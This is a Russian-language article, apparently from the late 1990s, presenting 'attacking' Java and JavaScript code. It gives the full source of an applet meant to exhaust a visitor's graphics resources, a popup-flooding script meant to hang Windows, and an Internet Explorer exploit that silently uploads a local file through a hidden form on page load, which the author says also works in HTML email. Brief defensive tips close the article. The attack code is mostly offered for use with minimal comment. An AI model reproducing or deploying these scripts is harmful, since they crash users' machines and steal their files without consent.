Java attacks

Атакует Java

The article gives examples of Java applications to attack computer systems: attacking Java-applet, attacking JavaScript, which absorb system resources and JavaScript-spy that allows uploading local file using the breach in Internet Explorer security.
Хотя языки Java и JavaScript были спроектированы для разработки максимально безопасных Интернет-приложений, тем не менее, хакеры тоже "не спят" находя лазейки для агрессии или проникновения в системы пользователей. В статье будут даны примеры с исходными текстами использования Java для подобных целей с минимальными комментариями.

1. Атакующий Java-апплет

Ява-апплет может быть встроен в код html-документа и запущен на исполнение при открытии страницы Web-сайта. Простейший вариант атакующего ява-апплета приведен ниже. Функция, активизирующая при отпускании клавиши мыши должна по замыслу автора "забить" GDI-ресурсы клиентской станции. Несколько человек приписывают себе авторство, поэтому я не привожу ни одного.
public boolean mouseUp(Event evt, int x, int y)
{
 Image img = createImage(600, 400);
 Graphics gc = img.getGraphics();
 int max = 0x7fffffff;
 int min = 0x80000000;
 if(!fried)
 {
  gc.drawLine(299, 924, max, max);
  fried = true;
 }
 else
 {
  Graphics g = getGraphics();
  g.setColor(Color.black);
  g.fillRect(0, 0, size().width, size().height);
  g.setColor(Color.white);
  FontMetrics fm = g.getFontMetrics();
  String s = "Working, please wait... ";
  g.drawString(s, 
              (size().width - fm.stringWidth(s)) / 2, 
              (size().height - fm.getHeight()) / 2);
  for(int i = 0; i < 10000; i++)
  {
   int lx = (int)(Math.random() * 2000D) - 1000;
   int ly = (int)(Math.random() * 2000D) - 1000;
   gc.setColor(new Color((int)(Math.random() * 16777215D)));
   gc.drawLine(lx, ly, max, max);
   gc.drawLine(lx, ly, min, min);
   gc.drawLine(lx, ly, min, max);
   gc.drawLine(lx, ly, max, min);
  }
   gc.drawImage(background, 0, 0, this);
   getGraphics().drawImage(img, 0, 0, this);
   ultraFried = true;
 }
 repaint();
 return true;
}
Простейший вариант спасения - это запуск в браузере Ява-консоли и работа с апплетами в режиме отладки.

2. Атакующий JavaScript

Сразу приведу пример атакующего Ява-скрипта:
<SCRIPT LANGUAGE="JavaScript">
function WindowBomber()
{
 var Counter = 0
 while (true)
 {
  window.open("http://www.rambler.ru", 
  "Crash" + Counter, 
  "width=1,height=1,resizable=no")
  Counter++ 
 }
}
</SCRIPT>
Скрипт начинает открывать Popup-окна до тех пор, пока Windows-система не зависнет. Если в системе работает Norton CrashGuard, то окна можно "захлопнуть", вовремя заметив начинающуюся агрессию. Начинать следует с окна браузера, потом "убивать" "окна-поплавки".

3. Разведчик на JavaScript

Простейшая реализация на Java-script скрипта-разведчика связана с брешью в безопасности Internet Explorer, позволяющей выполнять команды Copy и Paste>, и отправлять форму без ведома пользователя. B html есть поле ввода "выбор файла", изначально созданное для отправки файлов на сервер. Обычно это поле заполняет пользователь и подтверждает свое действие нажатием кнопки submit. Для реализации скрипта-разведчика создается форма со скрытым полем
<input type="hidden" name="h1" value="c:\config.sys">, поле для выбора файлов
<input type="file" name="filename" value="c:\config.sys">, после чего пишется следующий Java-Script, автоматически вызывающийся по событию при каком-либо действии пользователя, например при загрузке страницы:
<body onLoad="getFile()">:
<Script language=”JavaScript">
function getFile()
{
 document.forms[1].h1.select();
 document.execCommand("copy");
 document.forms[0].filename.select();
 document.execCommand("paste");
 document.submit();
}
</Script>
Пользователи получают предупреждение об отправке формы, но большинство его игнорируют. Это можно реализовать не только на html-страницах Web-сайтов, но и сделать вставку в html-сообщение, передаваемое по Email. Необходимо использовать "патчи" от Microsoft для решения этой проблемы. Об этом я опубликовал заметку в "Компьютерных Вестях" № 11(242) за 25-31 марта 1999 года.

Меры предосторожности

Для безопасного просмотра активного содержимого html-документа, без запуска его на исполнение можно воспользоваться утилитой telnet для контакта с сервером, где размещена проверяемая страница. Для связи необходимо указать кроме URL-адреса еще и номер порта. По умолчанию для связи по протоколу http используется порт 80, реже 3126. Обычно при указании адресов номер порта не специфицируется, подразумевается порт по умолчанию, так, если в конце URL нет двоеточия с цифрами, указывающими на номер порта, значит, используется 80-й порт. Активизировать сеанс telnet можно, поменяв тип протокола в строке location браузера http на telnet, например:
telnet://www.some_site.com:80/, вместо http://www.some_site.com/evil_page.html.
Большинство серверов допускает работу с telnet. После соединения с удаленной системой через сеанс телнета, необходимую страницу вызывают командой
GET /evil_page.html HTTP/1.0.
Если все сделано правильно, в телнет удаленная система выдаст HTML-код на экран и разорвет связь. Таким способом можно посмотреть на код без какого-либо риска и идентифицировать ловушку "зловредного" сайта.
Werewolf

Publications Top Page Projects